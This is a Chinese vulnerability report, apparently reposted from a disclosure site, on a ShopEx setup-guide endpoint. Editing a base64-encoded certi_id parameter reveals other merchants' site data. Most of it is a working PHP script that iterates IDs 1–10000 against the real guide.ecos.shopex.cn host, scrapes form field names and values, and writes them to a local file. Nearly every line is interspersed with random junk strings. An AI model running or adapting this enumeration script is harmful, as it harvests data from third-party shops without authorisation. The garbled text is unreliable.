ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
详细说明：
( E2 y0 F- ?$ L9 K# R; J问题出现在shopex 网店使用向导页面
( n7 M7 J0 o8 H/ h# h- p6 U# N, ?- n


" e3 t: F9 ^" f4 g* khttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
8 Z- x( K  T  ^, E
4 |% |  A" f+ ^8 F

4 U7 k6 ~' V0 O9 Grefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
1 X2 \) Z/ V, e. l


我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
2 k- ?" s6 M0 @! x0 F

) t! W* |8 A2 L( @, }& {( Z
<?php

8 o; a' a' [# x                for ($i=1; $i < 10000; $i++) { //遍历

                        ShowshopExD($i);
; i/ M4 @' C( P0 Z
: S* g4 e  A) M) U- p                }
3 f) y  t; `; P' J1 J/ l
1 m& W6 K+ x1 d                function ShowshopExD($cid) {

                $url='http://guide.ecos.shopex.cn/step2.php';
8 A0 J0 h( a! h
" ~7 R& j3 W7 m( f7 Q( `                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

( U5 {- l! C- g( r* O  |# ?9 j        $url = $url.'?refer='.$refer;
( {7 J2 {/ q3 F6 N+ U
9 v: \, T3 Q8 j; O! J2 Y        $ch = curl_init($url);
; E0 w- b  o- Z
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

        $result = curl_exec($ch);

        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
2 s4 `1 W7 W8 B- }9 q5 H0 |+ s
        if(strpos($result,$refer))
6 m- Q3 ]. z0 r9 i  B5 ~
. E* v" l* l: n3 K; H        {

% n3 ^' {# ]: ^4 |                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
  W7 n' n1 f$ G" G4 D, A
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

; q/ e1 e6 O1 E( W3 A                foreach ($value[1] as $key) {

5 P9 w  D* W% s; H6 N                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
. u+ C# `5 _7 A2 V( p
3 M" \) v$ a- }                        echo $res[1][0].':'.$res[3][0]."\r\n";

                        $col =$res[1][0].':'.$res[3][0]."\r\n";

                        fwrite($fp, $col, strlen($col));
" m1 y5 o9 s. Q( X9 m; L0 H
                }
: A% ~  F8 f* d5 A' f* y5 l0 V! C
                echo '--------------------------------'."\r\n";
/ R1 e' b5 g9 y: o0 R3 u% Q
                fclose($fp);

        }
" p: r; }9 [" W0 d, l- b8 {/ }
        flush();
( z/ P$ s1 d4 h& B- O# ?/ J
        curl_close($ch);

, w5 F; Q9 [# u: y2 J0 v/ X  v# ^- _' c                }

?>
漏洞证明：
9 G8 U! q4 b6 Rhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
+ t2 Z0 J' R( }- d: |; {refer换成其他加密方式